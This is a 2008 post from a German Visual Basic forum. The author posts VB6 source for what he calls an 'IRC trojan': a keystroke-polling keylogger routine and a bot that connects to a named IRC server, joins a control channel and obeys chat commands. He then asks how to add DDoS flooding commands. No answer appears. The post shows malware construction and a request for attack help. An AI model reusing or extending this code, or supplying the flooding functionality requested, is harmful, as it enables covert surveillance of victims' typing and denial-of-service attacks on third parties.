Visual Basic Forum

Visual Basic Forum
für VB6 und VB.NET Programmierer
  		RegistrierenRegistrieren  LoginLogin

Neues Thema eröffnen   Neue Antwort erstellen    Visual Basic Forum Foren-Übersicht -> [VB6] Fragen - Antworten
Autor
Nachricht
echoslider_
Newbie
Newbie

Anmeldedatum: 25.02.2007
Beiträge: 1
irc bot ddos?
Verfasst am: 14.05.2008, 18:58
hi. habe folgenden irc trojaner gebastelt:

Code:
Option Explicit
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer



Private Sub keytimer_Timer()
Dim log As String
Dim resulta As Integer
Dim n As Integer
For n = 1 To 255
resulta = 0
resulta = GetAsyncKeyState(n)
If resulta = -32767 Then
log = log + Chr(n)
End If
Next n



End Sub

Private Sub Timer1_Timer()
ws.Close
ws.Connect "irc.rising-systems.de", 6667
Do While ws.State = 6
Timer1.Enabled = False
DoEvents
Loop
End Sub






Private Sub ws_Close()
Timer1.Enabled = True
End Sub

Private Sub ws_Connect()

With ws
.SendData "NICK Assasine" & vbCrLf
.SendData "USER Assasine Assasine Assasine Assasine Assasine" & vbCrLf
End With




Timer1.Enabled = False
End Sub



Private Sub ws_DataArrival(ByVal bytesTotal As Long)

On Error Resume Next
Dim strData As String, arrData() As String, i As Long, msg() As String, command As String, dat() As String, com As String, p As Integer, Reply As String, sInhalt As String, uptime As String





ws.GetData strData, vbString

If InStr(strData, "PING") = 1 Then
ws.SendData "PONG " & Split(strData, " ")(1)
ws.SendData "JOIN #BDC" & vbCrLf
End If

arrData = Split(strData, vbCrLf)

For i = 0 To UBound(arrData) - 1

msg = Split(arrData(i), "#BDC :")
command = msg(1)
dat = Split(command, " ")
com = dat(0)

txt2.Text = txt2.Text & vbCrLf & command


Select Case command
   Case "hi"
      ws.SendData "PRIVMSG #BDC : hallo" & vbCrLf
     
   Case "lol"
      ws.SendData "PRIVMSG #BDC : :)" & vbCrLf

   Case "wie gehts?"
      ws.SendData "PRIVMSG #BDC : gut und selbst?" & vbCrLf

   Case "auch gut"
      ws.SendData "PRIVMSG #BDC : aha" & vbCrLf

   Case "bist du ein bot?"
      ws.SendData "PRIVMSG #BDC : lol. net das ich wüsste." & vbCrLf






   Case Else
End Select



Select Case com

        Case "'help"
        ws.SendData "PRIVMSG #BDC : usage command like: 'help | 'version | 'quit" & vbCrLf
       
         Case "'version"
        ws.SendData "PRIVMSG #BDC : Assasine IRC-Bot 1.0" & vbCrLf

        Case "'quit"
        ws.SendData "PRIVMSG #BDC :/quit" & vbCrLf
        ws.Close
        Unload Me
        End
 
 
 
 
 
   Case Else
End Select

Next i
End Sub




Private Sub ws_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
Timer1.Enabled = True
End Sub


Private Sub Form_Load()
Timer1.Interval = 3000
Timer1.Enabled = True
End Sub



so. nun wollte ich mal ein paar befehle reincoden nur ich finde nix wie ich was mit ddos oder so coden soll. wie floodet man wen mit vb mit hilfe der ddos atacke.?
_________________
 
Neues Thema eröffnen   Neue Antwort erstellen    Visual Basic Forum Foren-Übersicht -> [VB6] Fragen - Antworten

Tags: bot, ddos, irc

  
 Verwandte Themen   Aufrufe   Letzter Beitrag 
Keine neuen Beiträge [suche] Tuturials winsock & daten senden 867 09.06.2011, 12:19
Keine neuen Beiträge [Video] *.dll & *.ocx Installer 2429 06.03.2008, 20:19
Keine neuen Beiträge ListView speichern & laden 1241 05.08.2008, 12:32
Keine neuen Beiträge Registry & Co Fragen 1101 03.05.2007, 09:57
Keine neuen Beiträge Listbox speichern & laden 2047 22.03.2007, 20:25
 




[ Time: 0.1670s ][ Queries: 81 (0.0488s) ][ GZIP on - Debug on ]